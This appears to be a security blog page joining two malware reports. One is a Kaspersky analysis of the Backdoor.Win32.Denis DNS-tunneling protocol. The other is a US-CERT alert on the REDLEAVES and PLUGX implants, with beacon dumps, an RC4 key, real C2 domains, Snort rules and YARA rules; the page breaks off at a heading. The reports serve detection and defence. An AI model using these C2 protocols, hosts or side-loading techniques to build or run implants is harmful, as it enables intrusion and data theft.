Use of DNS Tunneling for C&C Communications

no-image

Say my name.

127.0.0.1!

You are goddamn right.

Network communication is a key function for any malicious program. Yes, there are exceptions, such as cryptors and ransomware Trojans that can do their job just fine without using the Internet. However, they also require their victims to establish contact with the threat actor so they can send the ransom and recover their encrypted data. If we omit these two and have a look at the types of malware that have no communication with a C&C and/or threat actor, all that remains are a few outdated or extinct families of malware (such as Trojan-ArcBomb), or irrelevant, crudely made prankware that usually does nothing more than scare the user with screamers or switches mouse buttons.

Malware has come a long way since the Morris worm, and the authors never stop looking for new ways to maintain communication with their creations. Some create complex, multi-tier authentication and management protocols that can take weeks or even months for analysists to decipher. Others go back to the basics and use IRC servers as a management host – as we saw in the recent case of Mirai and its numerous clones.

Often, virus writers don’t even bother to run encryption or mask their communications: instructions and related information is sent in plain text, which comes in handy for a researcher analyzing the bot. This approach is typical of incompetent cybercriminals or even experienced programmers who don’t have much experience developing malware.

However, you do get the occasional off-the-wall approaches that don’t fall into either of the above categories. Take, for instance, the case of a Trojan that Kaspersky Lab researchers discovered in mid-March and which establishes a DNS tunnel for communication with the C&C server.

The malicious program in question is detected by Kaspersky Lab products as Backdoor.Win32.Denis. This Trojan enables an intruder to manipulate the file system, run arbitrary commands and run loadable modules.

Encryption

Just like lots of other Trojans before it, Backdoor.Win32.Denis extracts the addresses of the functions it needs to operate from loaded DLLs. However, instead of calculating the checksums of the names in the export table (which is what normally happens), this Trojan simply compares the names of the API calls against a list. The list of API names is encrypted by subtracting 128 from each symbol of the function name.

It should be noted that the bot uses two versions of encryption: for API call names and the strings required for it to operate, it does the subtraction from every byte; for DLLs, it subtracts from every other byte. To load DLLs using their names, LoadLibraryW is used, meaning wide strings are required.

Use of DNS Tunneling for C&C Communications

‘Decrypting’ strings in the Trojan

Use of DNS Tunneling for C&C Communications

Names of API functions and libraries in encrypted format

It should also be noted that only some of the functions are decrypted like this. In the body of the Trojan, references to extracted functions alternate with references to functions received from the loader.

C&C Communication

The principle behind a DNS tunnel’s operation can be summed up as: “If you don’t know, ask somebody else”. When a DNS server receives a DNS request with an address to be resolved, the server starts looking for it in its database. If the record isn’t found, the server sends a request to the domain stated in the database.

Let’s see how this works when a request arrives with the URL Y3VyaW9zaXR5.example.com to be resolved. The DNS server receives this request and first attempts to find the domain extension ‘.com’, then ‘example.com’, but then it fails to find ‘Y3VyaW9zaXR5.example.com’ in its database. It then forwards the request to example.com and asks it if such a name is known to it. In response, example.com is expected to return the appropriate IP; however, it can return an arbitrary string, including C&C instructions.

Use of DNS Tunneling for C&C Communications

Dump of Backdoor.Win32.Denis traffic

This is what Backdoor.Win32.Denis does. The DNS request is sent first to 8.8.8.8, then forwarded to z.teriava[.]com. Everything that comes before this address is the text of the request sent to the C&C.

Here is the response:

Use of DNS Tunneling for C&C Communications

DNS packet received in response to the first request

Obviously, the request sent to the C&C is encrypted with Base64. The original request is a sequence of zeros and the result of GetTickCount at the end. The bot subsequently receives its unique ID and uses it for identification at the start of the packet.

The instruction number is sent in the fifth DWORD, if we count from the start of the section highlighted green in the diagram above. Next comes the size of the data received from C&C. The data, packed using zlib, begins immediately after that.

Use of DNS Tunneling for C&C Communications

The unpacked C&C response

The first four bytes are the data size. All that comes next is the data, which may vary depending on the type of instruction. In this case, it’s the unique ID of the bot, as mentioned earlier. We should point out that the data in the packet is in big-endian format.

Use of DNS Tunneling for C&C Communications

The bot ID (highlighted) is stated at the beginning of each request sent to the C&C

C&C Instructions

Altogether, there are 16 instructions the Trojan can handle, although the number of the last instruction is 20. Most of the instructions concern interaction with the file system of the attacked computer. Also, there are capabilities to gain info about open windows, call an arbitrary API or obtain brief info about the system. Let us look into the last of these in more detail, as this instruction is executed first.

Use of DNS Tunneling for C&C Communications

Complete list of C&C instructions

Use of DNS Tunneling for C&C Communications

Information about the infected computer, sent to the C&C

As can be seen in the screenshot above, the bot sends the computer name and the user name to the C&C, as well as the info stored in the registry branch Software\INSUFFICIENT\INSUFFICIENT.INI:

  • Time when that specific instruction was last executed. (If executed for the first time, ‘GetSystemTimeAsFileTime’ is returned, and the variable BounceTime is set, in which the result is written);
  • UsageCount from the same registry branch.

Information about the operating system and the environment is also sent. This info is obtained with the help of NetWkstaGetInfo.

The data is packed using zlib.

Use of DNS Tunneling for C&C Communications

The DNS response prior to Base64 encryption

The fields in the response are as follows (only the section highlighted in red with data and size varies depending on the instruction):

  • Bot ID;
  • Size of the previous C&C response;
  • The third DWORD in the C&C response;
  • Always equals 1 for a response;
  • GetTickCount();
  • Size of data after the specified field;
  • Size of response;
  • Actual response.

After the registration stage is complete, the Trojan begins to query the C&C in an infinite loop. When no instructions are sent, the communication looks like a series of empty queries and responses.

Use of DNS Tunneling for C&C Communications

Sequence of empty queries sent to the C&C

Conclusion

The use of a DNS tunneling for communication, as used by Backdoor.Win32.Denis, is a very rare occurrence, albeit not unique. A similar technique was previously used in some POS Trojans and in some APTs (e.g. Backdoor.Win32.Gulpix in the PlugX family). However, this use of the DNS protocol is new on PCs. We presume this method is likely to become increasingly popular with malware writers. We’ll keep an eye on how this method is implemented in malicious programs in future.

MD5

facec411b6d6aa23ff80d1366633ea7a
018433e8e815d9d2065e57b759202edc
1a4d58e281103fea2a4ccbfab93f74d2
5394b09cf2a0b3d1caaecc46c0e502e3
5421781c2c05e64ef20be54e2ee32e37

TA17-117A: Intrusions Affecting Multiple Victims Across Multiple Sectors

Original release date: April 27, 2017

Systems Affected

Networked Systems

Overview

The National Cybersecurity and Communications Integration Center (NCCIC) has become aware of an emerging sophisticated campaign, occurring since at least May 2016, that uses multiple malware implants. Initial victims have been identified in several sectors, including information technology, energy, healthcare and public health, communications, and critical manufacturing.

According to preliminary analysis, threat actors appear to be leveraging stolen administrative credentials (local and domain) and certificates, along with placing sophisticated malware implants on critical systems. Some of the campaign victims have been IT service providers, where credential compromises could potentially be leveraged to access customer environments. Depending on the defensive mitigations in place, the threat actor could possibly gain full access to networks and data in a way that appears legitimate to existing monitoring tools.

Although this activity is still under investigation, NCCIC is sharing this information to provide organizations information for the detection of potential compromises within their organizations.

NCCIC will update this document as information becomes available.

For a downloadable copy of this report and listings of IOCs, see:

To report activity related to this Incident Report Alert, please contact NCCIC at [email protected] or 1-888-282-0870.

Description

Risk Evaluation

NCCIC Cyber Incident Scoring System (NCISS) Rating Priority Level (Color)

Yellow (Medium)

A medium priority incident may affect public health or safety, national security, economic security, foreign relations, civil liberties, or public confidence.

Details

While NCCIC continues to work with a variety of victims across different sectors, the adversaries in this campaign continue to affect several IT service providers. To achieve operational efficiencies and effectiveness, many IT service providers often leverage common core infrastructure that should be logically isolated to support multiple clients.

Intrusions into these providers create opportunities for the adversary to leverage stolen credentials to access customer environments within the provider network.

Figure 1: Structure of a traditional business network and an IT service provider network

Figure 1: Structure of a traditional business network and an IT service provider network

Technical Analysis

The threat actors in this campaign have been observed employing a variety of tactics, techniques, and procedures (TTPs). The actors use malware implants to acquire legitimate credentials then leverage those credentials to pivot throughout the local environment. NCCIC is aware of several compromises involving the exploitation of system administrators’ credentials to access trusted domains as well as the malicious use of certificates. Additionally, the adversary makes heavy use of PowerShell and the open source PowerSploit tool to enable assessment, reconnaissance, and lateral movement.

Command and Control (C2) primarily occurs using RC4 cipher communications over port 443 to domains that change IP addresses. Many of these domains spoof legitimate sites and content, with a particular focus on spoofing Windows update sites. Most of the known domains leverage dynamic DNS services, and this pattern adds to the complexity of tracking this activity. Listings of observed domains are found in this document’s associated STIX package and .xlsx file. The indicators should be used to observe potential malicious activity on your network.

User impersonation via compromised credentials is the primary mechanism used by the adversary. However, a secondary technique to maintain persistence and provide additional access into the victim network is the use of malware implants left behind on key relay and staging machines. In some instances, the malware has only been found within memory with no on-disk evidence available for examination. To date, the actors have deployed multiple malware families and variants, some of which are currently not detected by anti-virus signatures. The observed malware includes PLUGX/SOGU and REDLEAVES. Although the observed malware is based on existing malware code, the actors have modified it to improve effectiveness and avoid detection by existing signatures.

Both REDLEAVES and PLUGX have been observed being executed on systems via dynamic-link library (DLL) side-loading. The DLL side-loading technique utilized by these malware families typically involves three files: a non-malicious executable, a malicious DLL loader, and an encoded payload file. The malicious DLL is named as one of the DLLs that the executable would normally load and is responsible for decoding and executing the payload into memory.

REDLEAVES Malware

The most unique implant observed in this campaign is the REDLEAVES malware. The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.

Capabilities

System Enumeration. The implant is capable of enumerating the following information about the victim system and passing it back to the C2:

  • system name,
  • system architecture (x86 or x64),
  • operating system major and minor versions,
  • amount of available memory,
  • processor specifications,
  • language of the user,
  • privileges of the current process,
  • group permissions of the current user,
  • system uptime,
  • IP address, and
  • primary drive storage utilization.

Command Execution. The implant can execute a command directly inside a command shell using native Windows functionality by passing the command to run to cmd.exe with the “/c” option (“cmd.exe /c <command>”).

Command Window Generation. The implant can also execute commands via a remote shell that is generated and passed through a named pipe. A command window is piped back to the C2 over the network as a remote shell or alternatively to another process or thread that can communicate with that pipe. The implant uses the mutexRedLeavesCMDSimulatorMutex.

File System Enumeration. The implant has the ability to enumerate data within a specified directory, where it gathers filenames, last file write times, and file sizes.

Network Traffic Compression and Encryption. The implant uses a form of LZO compression to compress data that is sent to its C2. After compression, the data for this implant sample is then RC4-ciphered with the key 0x6A6F686E3132333400 (this corresponds to the string “john1234” with the null byte appended).

Network Communications REDLEAVES connects to the C2 over TCP port 443, but does not use the secure flag when calling the API function InternetOpenUrlW. The data is not encrypted and there is no SSL handshake as would normally occur with port 443 traffic, but rather the data is transmitted in the form that is generated by the RC4 cipher.

Current REDLEAVES samples that have been examined have a hard-coded C2. Inside the implant’s configuration block in memory were the strings in Table 1.

Table 1: REDLEAVES Sample Strings Found in C2
 

QN4869MD ­­– mutex used to determine if the implant is already running (Varies from sample to sample)

2016-5-1-INCO –Unknown

%windir.\system32\svchost.exe - process that the implant was injected into

john1234 (with the null byte afterward) – RC4 Key

 

While the name of the initial mutex, QN4869MD in this sample, varies among REDLEAVES samples, the RedLeavesCMDSimulatorMutex mutex name appears to be consistent. Table 2 contains a sample of the implant communications to the domain windowsupdates.dnset[.]com over TCP port 443.

Table 2: REDLEAVES Sample Beacon

--- BEGIN SAMPLE BEACON ---

00000000 c1 0c 00 00 7a 8d 9b dc 88 00 00 00 ....z... ....

0000000C 14 6f 68 6e 16 6f 68 6e c4 a4 b1 d1 c4 e6 24 eb .ohn.ohn ......$.

0000001C cf 49 81 a7 a1 c7 96 ff 6d 31 b4 48 8b 3e a3 c1 .I...... m1.H.>..

0000002C 92 e2 c3 7c e4 4c cf e9 e1 fa fb 6a fa 66 2c bf ...|.L.. ...j.f,.

0000004C 7b 13 a7 30 17 3d eb fb d3 16 0e 96 83 21 2e 73 {..0.=.. .....!.s

0000005C dc 44 a2 72 fb f4 5e d0 4d b7 85 be 33 cd 13 21 .D.r..^. M...3..!

0000006C 3f e2 63 da da 5b 5e 52 9a 9c 20 36 69 cb cd 79 ?.c..[^R .. 6i..y

0000007C 13 79 7a d4 ed 63 b7 41 5d 38 b4 c2 84 74 98 cd .yz..c.A ]8...t..

0000008C f8 32 49 ef 2d e7 f2 ed .2I.-...

0000003C 5e 4b 72 6a f9 47 86 cd f1 cd 6d b5 24 79 3c 59 ^Krj.G.. ..m.$y

--- END SAMPLE BEACON ---

 

REDLEAVES network traffic has two 12-byte fixed-length headers in front of each RC4-encrypted compressed payload. The first header comes in its own packet, with the second header and the payload following in a separate packet within the same TCP stream. The last four bytes of the first header contain the number of the remaining bytes in little-endian format (0x88 in the sample beacon above).

The second header, starting at position 0x0C, is XOR’d with the first four bytes of the key that is used to encrypt the payload. In the case of this sample, those first four bytes would be “john” (or 0x6a6f686e using the ASCII hex codes). After the XOR operation, the bytes in positions 0x0C through 0x0F contain the length of the decrypted and decompressed payload. The bytes in positions 0x10 through 0x13 contain the length of the encrypted and compressed payload.

To demonstrate, in the sample beacon, the second header follows:

0000000C 14 6f 68 6e 16 6f 68 6e c4 a4 b1 d1

The length of the decrypted and decompressed payload is 0x7e000000 in little-endian format (0x146f686e XOR 0x6a6f686e). The length of the encrypted and compressed payload is 0x7c000000 in little-endian (0x166f686e XOR 0x6a6f686e). This is verified by referring back to the sample beacon which had the number of remaining bytes set to 0x88 and subtracting the length of the second header (0x88 – 0xC = 0x7c).

Strings

Note: Use caution when searching based on strings, as common strings may cause a large number of false positives.

Table 3: Strings Appearing in the Analyzed Sample of REDLEAVES

[ Unique Ascii strings ] --------------------

red_autumnal_leaves_dllmain.dll

windowsupdates.dnset.com windowsupdates.dnset.com

windowsupdates.dnset.com

2016-5-10-INCO

john1234

Feb 04 2015

127.0.0.1 169.254

tcp

https

http

[ Unique Unicode strings ] ------------------

RedLeavesCMDSimulatorMutex

QN4869MD

\\\\.\\pipe\\NamePipe_MoreWindows

network.proxy.type

network.proxy.http_port

network.proxy.http network.proxy.autoconfig_url

network.proxy.

a([a-zA-Z0-9])

b([ \\t])

c([a-zA-Z])

d([0-9])

h([0-9a-fA-F])

n(\r|(\r?\n)) q(\"[^\"]*\")|('[^']*')

w([a-zA-Z]+)

z([0-9]+)

 

Malware Execution Analysis

File Name: VeetlePlayer.exe

MD5: 9d0da088d2bb135611b5450554c99672

File Size: 25704 bytes (25.1 KB)

Description: This is the executable that calls the exports located within libvlc.dll

 

File Name: libvlc.dll

MD5: 9A8C76271210324D97A232974CA0A6A3

File Size: 33792 bytes (33.0 KB)

Description: This is the loader and decoder for mtcReport.ktc, the combined shellcode and implant file.

 

File Name: mtcReport.ktc

MD5: 3045E77E1E9CF9D9657AEA71AB5E8947

File Size: 231076 bytes (225.7 KB)

Description: This is the encoded shellcode and implant file. When this file is decoded, the shellcode precedes the actual implant, which resides at offset 0x1292 from the beginning of the shellcode in memory. The implant has the MZ and PE flags replaced with the value 0xFF.

 

All three of these files must be present for execution of the malware to succeed.

When all files are present and the VeetlePlayer.exe file is executed, it will make calls to the following DLL exports within the libvlc.dll file:

  • VLC_Version checks to see if its calling file is named “VeetlePlayer.exe”. If the calling file is named something else, execution will terminate and no shellcode will be loaded.
  • VLC_Create reads in the contents of the file mtcReport.ktc.
  • VLC_Init takes in the offset in which the encoded shellcode/implant file is located and deobfuscates it. After deobfuscation, this export executes the shellcode.
  • VLC_Destroy does nothing other than perform a return 0.
  • VLC_AddIntf and VLC_CleanUp simply call the export VLC_Destroy, which returns 0.

When the libvlc.dll decodes the shellcode/implant, it calls the shellcode at the beginning of the data blob in memory. The shellcode then activates a new instance of svchost.exe and suspends it. It then makes a call to WriteProcessMemory() and inserts the implant with the damaged MZ and PE headers into its memory space. It then resumes execution of svchost.exe, which runs the implant.

The resulting decoded shellcode with the implant file below it can have a variable MD5 based on how it is dumped from memory. The MD5 checksums of two instances of decoded shellcode are:

  1. ba4b4087370780dc988d55cbb9de885d
  2. 3d032ba5f73cbc398f1a77af92077cd8

Table 4 contains the implant resulting from the original implant’s separation from the shellcode and the repair of its MZ and PE flags.

Table 4: Resulting Implant from Shellcode Separation

File Name: red_autumnal_leaves_dllmain.dll

MD5: 3EBBFEEE3A832C92BB60B531F749230E

File Size: 226304 bytes (221.0 KB)

PE Compile Date: 10 May 2016

During execution, the file will create two mutexes called RedLeavesCMDSimulatorMutex and QN4869MD. It checks the QN4869MD mutex to see if it is already running. It will then perform initial enumeration of the system to include operating system versions, number of processors, RAM, and CPU information.

 

PLUGX

PLUGX is a sophisticated Remote Access Tool (RAT) operating since approximately 2012. Although there are now many variants of this RAT in existence today, there are still characteristics common to most variants.

Typically, PLUGX uses three components to install itself.

  1. A non-malicious executable
  2. A malicious DLL/installer
  3. An encoded payload – the PLUGX RAT.

A non-malicious executable with one or more imports is used to start the installation process. The executable will likely exist in a directory not normally associated with its use. In some cases, the actor may use an executable signed with a valid certificate, and rename the DLL and encoded payload with file names that suggest they are related to the trusted file. Importantly, the actor seems to vary the encoding scheme used to protect the encoded payload to stifle techniques used by AV vendors to develop patterns to detect it. The payload is either encoded with a single byte or encrypted and decompressed. Recently, NCCIC has observed a case where the encoded payload contains a decoding stub within itself, beginning at byte zero. The malware simply reads this payload and executes it starting at byte zero. The stub then decodes and executes the rest of itself in memory. Notably, this stub varies in its structure and algorithm, again stifling detection by signature based security software. The PLUGX malware is never stored on disk in an unencrypted or decoded format.

When the initial executable is launched, the imported library, usually a separate DLL, is replaced with a malicious version that in turn decodes and installs the third and final component, which is the PLUGX rat itself. Typically, the PLUGX component is obfuscated and contains no visible executable code until it is unpacked in memory, protecting it from AV/YARA scans while static. During the evolution of these PLUGX compromises, NCCIC noted an increasing implementation of protections of the actual decoded PLUGX in memory. For example, the most recent version we looked at implements a secure strings method, which hides the majority of the common commands used by PLUGX. This is an additional feature designed to thwart signature based security tools.

Once the PLUGX RAT is installed on the victim, the actors has complete C2 capabilities of the victim system, including the ability to take screenshots and download files from the compromised system. The communications between the RAT (installed on the victim system) and the PLUGX C2 server are encoded to secure the communication and stifle detection by signature based network signature tools.

The advanced capabilities of PLUGX are implemented via a plugin framework. Each plugin operates independently in its own unique thread within the service. The modules may vary based on variants. Table 5 lists the modules and capabilities contained within one sample recently analyzed by NCCIC.

Table 5: Modules and Capabilities of PLUGX

Module Name

Capability

Disk

wide range of system-related capabilities including file / directory / drive enumeration, file / directory creation, create process, and obtain environment variables

Keylog

logs keystrokes and saves data to log file

Nethood

enumerates the host’s network resources via the Windows multiple provider router DLL

Netstat

set the state of a TCP connection or obtain the extended TCP or UDP tables (lists of network endpoints available to a process) of each active process on the host

Option

provides the ability to initiate a system shutdown, adjust shutdown-related privileges for a given process, and lock the user’s workstation

Portmap

port mapping

Process

process enumeration, termination, and capability to obtain more in-depth information pertaining to each process (e.g. CompanyName, FileDescription, FileVersion of each module loaded by the process)

Regedit

create, read, update & delete registry entries

Screen

capability to capture screenshots of the system

Service

start, stop, remove, configure & query services

Shell

remote shell access

SQL

enumerate SQL databases and available drivers; execute SQL queries

Telnet

provides a telnet interface

The PLUGX operator may dynamically add, remove, or update PLUGX plugins during runtime. This provides the ability to dynamically adjust C2 capabilities based on the requirements of the C2 operator.

Network activity is often seen as POST requests similar to that shown in table 6. Network defenders can look to detect non-SSL HTTP traffic on port 443, which can be indicative of malware traffic. The PLUGX malware is also seen using TCP ports 80, 8080, and 53.

Table 6: Sample PLUGX Beacon

POST /D15DB9E25ADA34EC9E559736 HTTP/1.1         
Accept:             */*
HX1:     0
HX2:     0
HX3:     61456
HX4:     1
User-Agent:       Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
Host:    sc.weboot.info:443
Content-Length:             0
Cache-Control: no-cache
 

Even though the beacon went to port 443, which is commonly used for encrypted HTTP communications, this traffic was plaintext HTTP, as is common for this variant of PLUGX.

For IT Service Providers

All organizations that provide IT services as a commodity for other organizations should evaluate their infrastructure to determine if related activity has taken place. Active monitoring of network traffic for the indicators of compromise (IOCs) provided in this report, as well as behavior analysis for similar activity, should be conducted to identify C2 traffic. In addition, frequency analysis should be conducted at the lowest level possible to determine any unusual fluctuation in bandwidth indicative of a potential data exfiltration. Both management and client systems should be evaluated for host indicators provided. If an intrusion is suspected, please reach out to the NCCIC at the contact information provided at the end of this report.

For Private Organizations and Government Agencies

All organizations should include the IOCs provided in their normal intrusion detection systems for continual analysis. Organizations that determine their risk to be elevated due to alignment to the sectors being targeted, unusual detected activity, or other factors, should conduct a dedicated investigation to identify any related activity. Organizations which leverage external IT service providers should validate with their providers that due diligence is being conducted to validate if there are security concerns with their specific provider. If an intrusion is suspected, please reach out to the NCCIC at the contact information provided at the end of this report.

Detection

NCCIC is providing a compilation of IOCs from a variety of sources to aid in the detection of this malware. The IOCs provided in the associated STIX package and .xlsx file were derived from various government, commercial, and publically available sources. The sources provided does not constitute an exhaustive list and the U.S. Government does not endorse or support any particular product or vendor’s information listed in this report. However, NCCIC includes this compilation here to ensure the distribution of the most comprehensive information. This alert will be updated as additional details become available.

Table 7: Sources Referenced

Source

Title

PaloAltoNetworks

“menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations”

FireEye

“APT10 (Menupass Team) Renews Operations Focused on Nordic Private Industry; operations Extend to Global Partners”. February 23, 2017 10:14:00 AM,17-00001858, Version: 2

CyLance

“The Deception Project: A New Japanese-Centric Threat”

PwC/BAE Systems

“Operation Cloud Hopper: Exposing a systematic hacking operation with an

unprecedented web of global victims: April 2017”

JPCERT/CC

“RedLeaves-Malware Based on Open Source Rat”

http://blog.jpcert.or.jp/2017/04/redleaves—malware-based-on-open-source-rat.html

NCC Group

“RedLeaves Implant-Overview”

National Cyber Security Centre

“Infrastructure Update Version 1.0” Reference: March 17, 2017

FireEye

“BUGJUICE Malware Profile”. April 05, 2017 11:45:00 AM, 17-00003261, Version: 1

JPCERT/CC

“ChChes- Malware that Communicates with C&C Servers Using Cookie Headers”

http://blog.jpcert.or.jp/2017/02/chches-malware–93d6.html

NCCIC recommends monitoring activity to the following domains and IP addresses, and scanning for evidence of the file hashes as potential indicators of infection. Some of the IOCs provided may be associated with legitimate traffic. Nevertheless, closer evaluation is warranted if the IOCs are observed. If these IOCs are found, NCCIC can provide additional assistance in further investigations. A comprehensive listing of IOCs can be found in the associated STIX package and .xlsx file.

Network Signatures

Table 8: REDLEAVES Network Signatures

 alert tcp any any -> any any (msg: “REDLEAVES Implant”; content: “|00 00 7a 8d 9b dc|”; offset: 2; depth: 6; content: “|00 00|”; offset: 10; depth: 2; sid: 314;)

 

alert tcp any -> any any (msg:”Suspicious PLUGX URI String”; content:”POST”; http_method; content:”/update?id=”; http_uri; fast_pattern:only; pcre:”/update\?id=[a-fA-F0-9]{8} HTTP/”; sid:101;)

 

Table 9: REDLEAVES YARA Signatures

rule Dropper_DeploysMalwareViaSideLoading {

    meta:

            description = “Detect a dropper used to deploy an implant via side loading. This dropper has specifically been observed deploying REDLEAVES & PlugX”

            author = “USG”

            true_positive = “5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481: drops REDLEAVES. 6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3: drops plugx. “

    strings:        

            $UniqueString = {2e 6c 6e 6b [0-14] 61 76 70 75 69 2e 65 78 65} // “.lnk” near “avpui.exe”

            $PsuedoRandomStringGenerator = {b9 1a [0-6] f7 f9 46 80 c2 41 88 54 35 8b 83 fe 64} // Unique function that generates a 100 character pseudo random string.

    condition:

            any of them

}

rule REDLEAVES_DroppedFile_ImplantLoader_Starburn {

    meta:

            description = “Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT”

            author = “USG”

            true_positive = “7f8a867a8302fe58039a6db254d335ae” // StarBurn.dll

    strings:

            $XOR_Loop = {32 0c 3a 83 c2 02 88 0e 83 fa 08 [4-14] 32 0c 3a 83 c2 02 88 0e 83 fa 10} // Deobfuscation loop

    condition:

            any of them

}

rule REDLEAVES_DroppedFile_ObfuscatedShellcodeAndRAT_handkerchief {

    meta:

        description = “Detect obfuscated .dat file containing shellcode and core REDLEAVES RAT”

        author = “USG”

        true_positive = “fb0c714cd2ebdcc6f33817abe7813c36” // handkerchief.dat

    strings:

        $RedleavesStringObfu = {73 64 65 5e 60 74 75 74 6c 6f 60 6d 5e 6d 64 60 77 64 72 5e 65 6d 6d 6c 60 68 6f 2f 65 6d 6d} // This is ‘red_autumnal_leaves_dllmain.dll’ XOR’d with 0x01

    condition:

        any of them

}

rule REDLEAVES_CoreImplant_UniqueStrings {

    meta:

        description = “Strings identifying the core REDLEAVES RAT in its deobfuscated state”

        author = “USG”

    strings:

        $unique2 = “RedLeavesSCMDSimulatorMutex” nocase wide ascii

        $unique4 = “red_autumnal_leaves_dllmain.dll” wide ascii

        $unique7 = “\\NamePipe_MoreWindows” wide ascii

    condition:

      any of them

}

 

Table 10: PLUGX Network Signatures

alert tcp any any -> any any (msg:”Non-Std TCP Client Traffic contains ‘HX1|3a|’ ‘HX2|3a|’ ‘HX3|3a|’ ‘HX4|3a|’ (PLUGX Variant)”; sid:XX; rev:1; flow:established,to_server; content:”Accept|3a 20 2a 2f 2a|”; nocase; content:”HX1|3a|”; distance:0; within:6; fast_pattern; content:”HX2|3a|”; nocase; distance:0; content:”HX3|3a|”; nocase; distance:0; content:”HX4|3a|”; nocase; distance:0; classtype:nonstd-tcp; priority:X;)

alert tcp any any -> any any (msg:”Non-Std TCP Client Traffic contains ‘X-Session|3a|”X-Status|3a|”X-Size|3a|”X-Sn|3a|'(PLUGX)”; sid:XX; rev:1; flow:established,to_server; content:”X-Session|3a|”; nocase; fast_pattern; content:”X-Status|3a|”; nocase; distance:0; content:”X-Size|3a|”; nocase; distance:0; content:”X-Sn|3a|”; nocase; distance:0; classtype:nonstd-tcp; priority:X;)

alert tcp any any -> any any (msg:”Non-Std TCP Client Traffic contains ‘MJ1X|3a|’ ‘MJ2X|3a|’ ‘MJ3X|3a|’ ‘MJ4X|3a|’ (PLUGX Variant)”; sid:XX; rev:1; flow:established,to_server; content:”MJ1X|3a|”; nocase; fast_pattern; content:”MJ2X|3a|”; nocase; distance:0; content:”MJ3X|3a|”; nocase; distance:0; content:”MJ4X|3a|”; nocase; distance:0; classtype:nonstd-tcp; priority:X;)

alert tcp any any -> any any (msg:”Non-Std TCP Client Traffic contains ‘Cookies|3a|’ ‘Sym1|2e|’ ‘|2c|Sym2|2e|’ ‘|2c|Sym3|2e|’ ‘|2c|Sym4|2e|’ (Chches Variant)”; sid:XX; rev:1; flow:established,to_server; content:”Cookies|3a|”; nocase; content:”Sym1|2e|0|3a|”; nocase; distance:0; fast_pattern; content:”|2c|Sym2|2e|”; nocase; distance:0; content:”|2c|Sym3|2e|”; nocase; distance:0; content:”|2c|Sym4|2e|”; nocase; distance:0; classtype:nonstd-tcp; priority:X;)

 

Host Signatures

Table 11: PLUGX and REDLEAVES YARA Signatures

rule PLUGX_RedLeaves

{

meta:

author = “US-CERT Code Analysis Team”

date = “03042017

incident = “10118538”

date = “2017/04/03”

MD5_1 = “598FF82EA4FB52717ACAFB227C83D474”

MD5_2 = “7D10708A518B26CC8C3CBFBAA224E032”

MD5_3 = “AF406D35C77B1E0DF17F839E36BCE630”

MD5_4 = “6EB9E889B091A5647F6095DCD4DE7C83”

MD5_5 = “566291B277534B63EAFC938CDAAB8A399E41AF7D”

info = “Detects specific RedLeaves and PlugX binaries”

strings:

$s0 = { 80343057403D2FD0010072F433C08BFF80343024403D2FD0010072F4 }

$s1 = “C:\\Users\\user\\Desktop\\my_OK_2014\\bit9\\runsna\\Release\\runsna.pdb”

$s2 = “d:\\work\\plug4.0(shellcode)”

$s3 = “\\shellcode\\shellcode\\XSetting.h”

$s4 = { 42AFF4276A45AA58474D4C4BE03D5B395566BEBCBDEDE9972872C5C4C5498228 }

$s5 = { 8AD32AD002D180C23830140E413BCB7CEF6A006A006A00566A006A00 }

$s6 = { EB055F8BC7EB05E8F6FFFFFF558BEC81ECC8040000535657 }

$s7 = { 8A043233C932043983C10288043283F90A7CF242890D18AA00103BD37CE2891514AA00106A006A006A0056 }

$s8 = { 293537675A402A333557B05E04D09CB05EB3ADA4A4A40ED0B7DAB7935F5B5B08 }

$s9 = “RedLeavesCMDSimulatorMutex”

condition:

$s0 or $s1 or $s2 and $s3 or $s4 or $s5 or $s6 or $s7 or $s8 or $s9

}

 

Other Detection Methods

Examine Port/Protocol Mismatches: Examine network traffic where the network port and protocol do not match, such as plaintext HTTP over port 443.

Administrative Share Mapping: When a malicious actor tries to move laterally on a network, one of the techniques is to mount administrative shares to perform operations like uploading and downloading resources or executing commands. In addition, tools like System Internals PSEXEC will mount the shares automatically for the user. Since administrators may map administrative shares legitimately while managing components of the network, this must be taken into account.

  • Filter network traffic for SMB mapping events and group the events by source IP, destination IP, the mounted path (providing a count of total mounts to that path), the first map time, and the last map time
  • Collect Windows Event Logs – Event ID 5140 (network share object was accessed) can be used to track C$ and ADMIN$ mounts by searching the Share Name field

VPN User authentication mismatch: A VPN user authentication match occurs when a user account authenticates to an IP address but once connected the internal IP address requests authentication tokens for other users. This may create false positives for legitimate network administrators but if this is detected, organizations should verify that the administrative accounts were legitimately used.

VPN activity from VPS providers: While this may also produce false positives, VPN logins from Virtual Private Server (VPS) providers may be an indicator of VPN users attempting to hide their source IP and should be investigated.

Impact

A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:

  • temporary or permanent loss of sensitive or proprietary information,
  • disruption to regular operations,
  • financial losses incurred to restore systems and files, and
  • potential harm to an organization’s reputation.

Solution

Properly implemented defensive techniques and programs make it more difficult for an adversary to gain access to a network and remain persistent yet undetected. When an effective defensive program is in place, actors should encounter complex defensive barriers. Actor activity should also trigger detection and prevention mechanisms that enable organizations to contain and respond to the intrusion more rapidly. There is no single or set of defensive techniques or programs that will completely avert all malicious activities. Multiple defensive techniques and programs should be adopted and implemented in a layered approach to provide a complex barrier to entry, increase the likelihood of detection, and decrease the likelihood of a successful compromise. This layered mitigation approach is known as defense-in-depth.

NCCIC mitigations and recommendations are based on observations made during the hunt, analysis, and network monitoring for threat actor activity, combined with client interaction.

Whitelisting

  • Enable application directory whitelisting through Microsoft Software Restriction Policy (SRP) or AppLocker;
  • Use directory whitelisting rather than trying to list every possible permutation of applications in an environment. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), and SYSTEM32. All other locations should be disallowed unless an exception is granted.
  • Prevent the execution of unauthorized software by using application whitelisting as part of the security hardening of operating systems insulating.
  • Enable application directory whitelisting via the Microsoft SRP or AppLocker.

Account Control

